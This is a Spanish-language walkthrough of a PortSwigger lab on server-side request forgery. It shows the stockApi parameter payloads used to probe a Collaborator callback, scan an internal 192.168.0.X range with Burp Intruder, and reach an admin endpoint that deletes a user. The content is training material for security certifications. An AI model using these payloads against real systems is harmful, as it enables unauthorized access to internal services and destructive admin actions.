Basic SSRF against another back-end system
Laboratorio de Portswigger sobre SSRF
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función de verificación de inventario que obtiene datos de un sistema interno. Para resolver el laboratorio, utiliza la funcionalidad de verificación de stock para escanear el rango interno 192.168.0.X en busca de una interfaz de administrador en el puerto 8080 y, luego, úsala para eliminar al usuario carlos
Guía de SSRF
Antes de completar este laboratorio es recomendable leerse esta guía de SSRF https://justice-reaper.github.io/posts/SSRF-Guide/
Resolución
Al acceder a la web nos sale esto
Pulsamos en View details y vemos la descripción de producto
Pulsamos en Check stock y capturamos la petición con Burpsuite
Nos dirigimos a Burpsuite Collaborator hacemos click en Copy to clipboard y vemos que se está haciendo una petición a una url vamos a ver si nos llega a nosotros esa petición
1
stockApi=http://utrk9sobw47bznfpgwi4ca6uclic62ur.oastify.com&storeId=1
Efectivamente nos llega una petición en Burpsuite Collaborator
Usamos este payload y mandamos al intruder con el objetivo de obtener la IP
1
stockApi=http://192.168.0.1:8080/admin
Seleccionamos la parte en la que vamos a inyectar el payload, en este caso lo vamos a inyectar en stockApi=http://192.168.0.§1§:8080/admin
Pulsamos en Payloads, en Payload type seleccionamos numbers, seleccionamos un rango numérico desde 0 hasta 255 y en la parte inferior desmarcamos la casilla de Payload encoding. Una vez hecho esto iniciamos el ataque y nos damos cuenta de que la IP 192.168.0.177 tiene un panel administrativo expuesto en el puerto 8080
Hacemos click derecho y seleccionamos cualquiera de estas opciones
Hemos accedido a un panel administrativo
Pinchamos en Delete para eliminar al usuario carlos, pero al hacerlo nos muestra este mensaje
Esto se debe a que estamos intentando hacerlo sin estar logueados como administrador en https://0a9c002e0326e08f82997f70000300f9.web-security-academy.net/http://192.168.0.177:8080/admin/delete?username=carlos. Como no tenemos el usuario y contraseña debemos hacerlo desde la máquina víctima y para ello enviamos esta petición
1
stockApi=http://192.168.0.177:8080/admin/delete?username=carlos









